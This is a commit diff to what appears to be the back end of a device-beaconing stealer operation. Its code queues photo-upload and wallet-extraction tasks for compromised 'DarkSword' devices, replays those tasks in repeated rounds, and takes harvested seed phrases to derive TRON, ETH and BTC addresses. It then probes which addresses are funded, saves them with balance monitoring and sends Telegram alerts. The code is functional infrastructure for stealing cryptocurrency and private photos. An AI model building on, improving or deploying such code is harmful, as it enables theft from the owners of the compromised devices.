fix: link memo
This commit is contained in:
@@ -12,7 +12,7 @@ class LinkMnemonicsCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:link-mnemonics';
|
||||
|
||||
protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
|
||||
protected $description = 'Link existing addresses to mnemonics (BIP44 0..9), then persist activated derived addresses (0..2) when a mnemonic has none';
|
||||
|
||||
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
|
||||
{
|
||||
@@ -23,7 +23,7 @@ class LinkMnemonicsCommand extends Command
|
||||
|
||||
$discovered = 0;
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
|
||||
$discovered += $discovery->discoverIndexZero($mnemonic);
|
||||
$discovered += $discovery->discoverActivated($mnemonic);
|
||||
}
|
||||
|
||||
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||
|
||||
@@ -165,12 +165,12 @@ class MnemonicController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$discovery->discoverIndexZero($mnemonic);
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->walletsPayload($mnemonic),
|
||||
'data' => $this->walletsPayload($mnemonic, $discovery),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -196,7 +196,7 @@ class MnemonicController extends Controller
|
||||
|
||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||
|
||||
$discovery->discoverIndexZero($mnemonic);
|
||||
$discovery->discoverActivated($mnemonic);
|
||||
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
@@ -214,11 +214,10 @@ class MnemonicController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
// Re-read from wallet_addresses so the popup shows persisted rows.
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => array_merge($this->walletsPayload($mnemonic), [
|
||||
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||
'refreshed' => $ok,
|
||||
'failed' => $fail,
|
||||
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||
@@ -239,35 +238,13 @@ class MnemonicController extends Controller
|
||||
/**
|
||||
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
|
||||
*/
|
||||
private function walletsPayload(WalletMnemonic $mnemonic): array
|
||||
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
|
||||
{
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
$data = $addresses->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'source' => $addr->source ?: '',
|
||||
'derive_index' => $addr->derive_index,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
];
|
||||
})->values()->all();
|
||||
|
||||
return [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'source' => $mnemonic->source ?: '',
|
||||
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
|
||||
'addresses' => $data,
|
||||
'addresses' => $discovery->walletCards($mnemonic),
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -44,6 +44,13 @@ class AppServiceProvider extends ServiceProvider
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
if (! $this->app->runningInConsole()) {
|
||||
$limit = (int) ini_get('max_execution_time');
|
||||
if ($limit > 0 && $limit < 60) {
|
||||
@set_time_limit(60);
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$this->app->make(SettingsService::class)->applyToConfig();
|
||||
} catch (\Throwable) {
|
||||
|
||||
@@ -97,7 +97,63 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
try {
|
||||
return $this->probeAddress($address)['activated'];
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* One address lookup: activation + confirmed BTC.
|
||||
*
|
||||
* @return array{activated: bool, btc: string}
|
||||
*/
|
||||
public function probeAddress(string $address): array
|
||||
{
|
||||
$json = $this->fetchAddressJson($address);
|
||||
|
||||
return [
|
||||
'activated' => self::addressIsActivated($json),
|
||||
'btc' => $this->nativeFromAddressJson($json),
|
||||
];
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
return $this->probeAddress($address)['btc'];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
*/
|
||||
public static function addressIsActivated(array $json): bool
|
||||
{
|
||||
foreach (['chain_stats', 'mempool_stats'] as $key) {
|
||||
$stats = $json[$key] ?? [];
|
||||
if (! is_array($stats)) {
|
||||
continue;
|
||||
}
|
||||
if ((int) ($stats['tx_count'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
if ((int) ($stats['funded_txo_count'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
if ((int) ($stats['funded_txo_sum'] ?? 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function fetchAddressJson(string $address): array
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
@@ -112,6 +168,15 @@ class BtcDriver implements ChainDriver
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid BTC balance response');
|
||||
}
|
||||
|
||||
return $json;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
*/
|
||||
private function nativeFromAddressJson(array $json): string
|
||||
{
|
||||
$stats = $json['chain_stats'] ?? [];
|
||||
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
|
||||
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
|
||||
|
||||
@@ -20,6 +20,11 @@ interface ChainDriver
|
||||
|
||||
public function isValidAddress(string $address): bool;
|
||||
|
||||
/**
|
||||
* True when the address has on-chain footprint (account created, txs, or funds).
|
||||
*/
|
||||
public function isActivated(string $address): bool;
|
||||
|
||||
/**
|
||||
* Human-decimal native balance (e.g. TRX).
|
||||
*/
|
||||
|
||||
@@ -53,6 +53,41 @@ class EthDriver implements ChainDriver
|
||||
return EthAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$hex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($address), 'latest']);
|
||||
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall through to balances
|
||||
}
|
||||
|
||||
try {
|
||||
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||
if ($contract === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
|
||||
@@ -139,6 +139,15 @@ class TronDriver implements ChainDriver
|
||||
];
|
||||
}
|
||||
|
||||
public function isActivated(string $address): bool
|
||||
{
|
||||
try {
|
||||
return $this->probeAccount($address)['activated'];
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
return $this->probeAccount($address)['trx'];
|
||||
|
||||
@@ -805,7 +805,7 @@ class DarkSwordIngestAdapter
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
|
||||
->first();
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
|
||||
$this->mnemonicDiscovery->discoverActivated($mnemonic);
|
||||
}
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
|
||||
@@ -13,22 +13,27 @@ use Illuminate\Support\Str;
|
||||
* Redis keys per device:
|
||||
* ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue)
|
||||
* ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson}
|
||||
* ds:qround:{id} String — remaining default-queue rounds (including current)
|
||||
* ds:qt:{id} String — throttle lock (TTL 5s)
|
||||
*
|
||||
* Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis.
|
||||
*
|
||||
* Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?}
|
||||
*
|
||||
* Default queue: photos, wallet_scan (one-shot, no auto-repeat).
|
||||
* Default queue: wallet_scan → wallet_extract → photos, replayed DEFAULT_ROUNDS times.
|
||||
*/
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** Default task types seeded for new DarkSword devices (one-shot, no repeat). */
|
||||
/** Default task types seeded for new DarkSword devices (FIFO dispatch order). */
|
||||
public const DEFAULT_TYPES = [
|
||||
'photos',
|
||||
'wallet_scan',
|
||||
'wallet_extract',
|
||||
'photos',
|
||||
];
|
||||
|
||||
/** After the default queue is consumed, replay it until this many rounds finish. */
|
||||
public const DEFAULT_ROUNDS = 3;
|
||||
|
||||
/** All task types the pe_worker.js can handle (for admin dropdown). */
|
||||
public const ALL_TYPES = [
|
||||
'photos' => '相册上传',
|
||||
@@ -118,6 +123,7 @@ class DsBeaconQueue
|
||||
private const Q_PREFIX = 'ds:q:';
|
||||
private const DISP_PREFIX = 'ds:qdisp:';
|
||||
private const DONE_PREFIX = 'ds:qdone:';
|
||||
private const ROUND_PREFIX = 'ds:qround:';
|
||||
private const THROTTLE_PREFIX = 'ds:qt:';
|
||||
private const THROTTLE_SEC = 5;
|
||||
private const DONE_CAP = 50;
|
||||
@@ -141,9 +147,8 @@ class DsBeaconQueue
|
||||
return; // already has pending tasks
|
||||
}
|
||||
|
||||
foreach (self::DEFAULT_TYPES as $type) {
|
||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||
}
|
||||
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
|
||||
$this->pushDefaultTypes($device);
|
||||
}
|
||||
|
||||
// ── Dequeue (called on every /beacon) ──────────────────────────────────
|
||||
@@ -167,7 +172,13 @@ class DsBeaconQueue
|
||||
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null; // noop — queue empty
|
||||
if (! $this->replenishDefaultRound($device)) {
|
||||
return null; // noop — queue empty and no remaining rounds
|
||||
}
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
$task = json_decode($raw, true);
|
||||
@@ -386,7 +397,7 @@ class DsBeaconQueue
|
||||
* Only pending + dispatched are returned. Completed task results are
|
||||
* stored as DeviceEvent records (shown in the 日志 tab), not in Redis.
|
||||
*
|
||||
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>}
|
||||
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>, rounds_total: int, rounds_remaining: int, round_current: int}
|
||||
*/
|
||||
public function getQueueState(Device $device): array
|
||||
{
|
||||
@@ -410,10 +421,17 @@ class DsBeaconQueue
|
||||
}
|
||||
}
|
||||
|
||||
$remaining = $this->roundsRemaining($device);
|
||||
|
||||
return [
|
||||
'pending' => $pending,
|
||||
'dispatched' => $dispatched,
|
||||
'done' => [], // completed tasks are in device_events (日志 tab)
|
||||
'rounds_total' => self::DEFAULT_ROUNDS,
|
||||
'rounds_remaining' => $remaining,
|
||||
'round_current' => $remaining > 0
|
||||
? (self::DEFAULT_ROUNDS - $remaining + 1)
|
||||
: self::DEFAULT_ROUNDS,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -427,6 +445,48 @@ class DsBeaconQueue
|
||||
|
||||
// ── Internal helpers ────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
|
||||
*/
|
||||
private function pushDefaultTypes(Device $device): void
|
||||
{
|
||||
foreach (self::DEFAULT_TYPES as $type) {
|
||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* When the pending list is empty, push another copy of the default types
|
||||
* if unused rounds remain. Remaining includes the round that just finished,
|
||||
* so remaining=1 means that was the last pass.
|
||||
*/
|
||||
private function replenishDefaultRound(Device $device): bool
|
||||
{
|
||||
$remaining = $this->roundsRemaining($device);
|
||||
if ($remaining <= 1) {
|
||||
if ($remaining === 1) {
|
||||
$this->setRoundsRemaining($device, 0);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->setRoundsRemaining($device, $remaining - 1);
|
||||
$this->pushDefaultTypes($device);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function roundsRemaining(Device $device): int
|
||||
{
|
||||
return max(0, (int) Redis::get($this->roundKey($device)));
|
||||
}
|
||||
|
||||
private function setRoundsRemaining(Device $device, int $remaining): void
|
||||
{
|
||||
Redis::set($this->roundKey($device), (string) max(0, $remaining));
|
||||
}
|
||||
|
||||
/**
|
||||
* Push a task to the Redis queue (LPUSH = newest at head).
|
||||
*
|
||||
@@ -498,6 +558,11 @@ class DsBeaconQueue
|
||||
return self::DONE_PREFIX.$device->id;
|
||||
}
|
||||
|
||||
private function roundKey(Device $device): string
|
||||
{
|
||||
return self::ROUND_PREFIX.$device->id;
|
||||
}
|
||||
|
||||
private function throttleKey(Device $device): string
|
||||
{
|
||||
return self::THROTTLE_PREFIX.$device->id;
|
||||
|
||||
@@ -10,7 +10,7 @@ use InvalidArgumentException;
|
||||
|
||||
class MnemonicAddressLinker
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 4;
|
||||
public const MAX_DERIVE_INDEX = 9;
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
@@ -18,7 +18,7 @@ class MnemonicAddressLinker
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
|
||||
* Link a single address to a device mnemonic when BIP44 index 0..9 matches.
|
||||
*/
|
||||
public function linkAddress(WalletAddress $address): bool
|
||||
{
|
||||
@@ -149,7 +149,7 @@ class MnemonicAddressLinker
|
||||
|
||||
/**
|
||||
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
|
||||
* when BIP44 index 0..4 matches.
|
||||
* when BIP44 index 0..9 matches.
|
||||
*
|
||||
* @return array{mnemonics: int, linked: int}
|
||||
*/
|
||||
|
||||
@@ -4,16 +4,24 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||
* query balances, and persist the addresses even when the balance is zero.
|
||||
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
||||
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
|
||||
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
||||
* wallets view previews one index-0 address per chain marked 未激活.
|
||||
* Activated rows are persisted with monitor on.
|
||||
*/
|
||||
class MnemonicWalletDiscovery
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 2;
|
||||
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
@@ -24,12 +32,21 @@ class MnemonicWalletDiscovery
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverIndexZero(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
return $this->discoverActivated($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -58,8 +75,8 @@ class MnemonicWalletDiscovery
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($row !== null) {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
@@ -77,26 +94,185 @@ class MnemonicWalletDiscovery
|
||||
return count($saved);
|
||||
}
|
||||
|
||||
private function discoverOne(
|
||||
/**
|
||||
* Persisted linked rows, or ephemeral index-0 previews when none exist.
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function walletCards(WalletMnemonic $mnemonic): array
|
||||
{
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
|
||||
if ($addresses->isNotEmpty()) {
|
||||
return $addresses->map(function (WalletAddress $addr) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type ?: '',
|
||||
'source' => $addr->source ?: '',
|
||||
'derive_index' => $addr->derive_index,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'active' => true,
|
||||
'persisted' => true,
|
||||
];
|
||||
})->values()->all();
|
||||
}
|
||||
|
||||
return $this->inactiveIndexZeroCards($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletAddress>
|
||||
*/
|
||||
private function discoverChain(
|
||||
WalletMnemonic $mnemonic,
|
||||
string $phrase,
|
||||
string $source,
|
||||
string $chain,
|
||||
string $chainType,
|
||||
): ?WalletAddress {
|
||||
): array {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
try {
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
]);
|
||||
$coins = $this->emptyCoins($chain);
|
||||
$saved = [];
|
||||
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$address = $driver->deriveAddress($phrase, $index);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'index' => $index,
|
||||
]);
|
||||
break;
|
||||
}
|
||||
|
||||
try {
|
||||
$probe = $this->probeActivated($chain, $driver, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
'index' => $index,
|
||||
]);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (! $probe['activated']) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$saved[] = $this->persistActivated(
|
||||
$mnemonic,
|
||||
$source,
|
||||
$chainType,
|
||||
$address,
|
||||
$index,
|
||||
$probe['coins'],
|
||||
);
|
||||
}
|
||||
|
||||
return $saved;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => $this->probeTron($driver, $address),
|
||||
'eth' => $this->probeEth($driver, $address),
|
||||
'btc' => $this->probeBtc($driver, $address),
|
||||
default => ['activated' => false, 'coins' => []],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeTron(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if (! $driver instanceof TronDriver) {
|
||||
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
|
||||
}
|
||||
|
||||
$probe = $driver->probeAccount($address);
|
||||
if (! $probe['activated']) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'trx' => $probe['trx'],
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeEth(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($driver instanceof BtcDriver) {
|
||||
$probe = $driver->probeAddress($address);
|
||||
|
||||
return [
|
||||
'activated' => $probe['activated'],
|
||||
'coins' => ['btc' => $probe['btc']],
|
||||
];
|
||||
}
|
||||
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => ['btc' => $driver->getNativeBalance($address)],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
private function persistActivated(
|
||||
WalletMnemonic $mnemonic,
|
||||
string $source,
|
||||
string $chainType,
|
||||
string $address,
|
||||
int $index,
|
||||
array $coins,
|
||||
): WalletAddress {
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
@@ -105,18 +281,60 @@ class MnemonicWalletDiscovery
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
$row->mnemonic_id = $mnemonic->id;
|
||||
$row->derive_index = 0;
|
||||
$row->derive_index = $index;
|
||||
$row->monitor = 1;
|
||||
if (! $row->exists) {
|
||||
$row->monitor = 0;
|
||||
$row->monitor_synced = false;
|
||||
$row->monitor_failures = 0;
|
||||
}
|
||||
foreach ($coins as $col => $value) {
|
||||
$row->{$col} = $value;
|
||||
}
|
||||
$row->save();
|
||||
$this->enableMonitor($row);
|
||||
|
||||
return $row;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$cards = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$cards[] = [
|
||||
'id' => null,
|
||||
'address' => $address,
|
||||
'chain_type' => $spec['chain_type'],
|
||||
'source' => $source,
|
||||
'derive_index' => 0,
|
||||
'usdt' => null,
|
||||
'trx' => null,
|
||||
'eth' => null,
|
||||
'btc' => null,
|
||||
'bnb' => null,
|
||||
'active' => false,
|
||||
'persisted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
return $cards;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
@@ -130,27 +348,15 @@ class MnemonicWalletDiscovery
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function fetchCoins(string $chain, string $address): array
|
||||
private function enableMonitor(WalletAddress $address): void
|
||||
{
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
return match ($chain) {
|
||||
'tron' => [
|
||||
'trx' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||
],
|
||||
'eth' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
],
|
||||
'btc' => [
|
||||
'btc' => $driver->getNativeBalance($address),
|
||||
],
|
||||
default => [],
|
||||
};
|
||||
try {
|
||||
$this->tokenview->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
|
||||
|
||||
@@ -105,6 +105,9 @@
|
||||
@else
|
||||
· 队列已空
|
||||
@endif
|
||||
@if (($queueState['rounds_remaining'] ?? 0) > 0)
|
||||
· 循环 {{ $queueState['round_current'] }}/{{ $queueState['rounds_total'] }}
|
||||
@endif
|
||||
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -33,6 +33,18 @@
|
||||
max-width: 280px;
|
||||
}
|
||||
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||
.mn-inactive {
|
||||
display: inline-block;
|
||||
margin-left: 6px;
|
||||
padding: 0 6px;
|
||||
font-size: 11px;
|
||||
line-height: 18px;
|
||||
color: #cf8a00;
|
||||
background: #fff7e6;
|
||||
border: 1px solid #ffe0a3;
|
||||
border-radius: 3px;
|
||||
vertical-align: middle;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
||||
@@ -119,9 +131,11 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
rows.forEach(function (r) {
|
||||
var inactive = r.active === false;
|
||||
html += '<tr>' +
|
||||
'<td>' + esc(r.id) + '</td>' +
|
||||
'<td>' + esc(r.chain_type || '—') + '</td>' +
|
||||
'<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' +
|
||||
'<td>' + esc(r.chain_type || '—') +
|
||||
(inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' +
|
||||
'<td class="addr-cell">' + esc(r.address) + '</td>' +
|
||||
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
|
||||
|
||||
@@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/getaccount')) {
|
||||
return Http::response(['balance' => 5_000_000], 200);
|
||||
$addr = (string) ($request->data()['address'] ?? '');
|
||||
if ($addr === self::TRON_0) {
|
||||
return Http::response([
|
||||
'address' => $addr,
|
||||
'create_time' => 1,
|
||||
'balance' => 5_000_000,
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 200);
|
||||
}
|
||||
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
|
||||
}
|
||||
if (str_contains($url, 'ethereum.example')) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
$data = $request->data();
|
||||
$method = $data['method'] ?? '';
|
||||
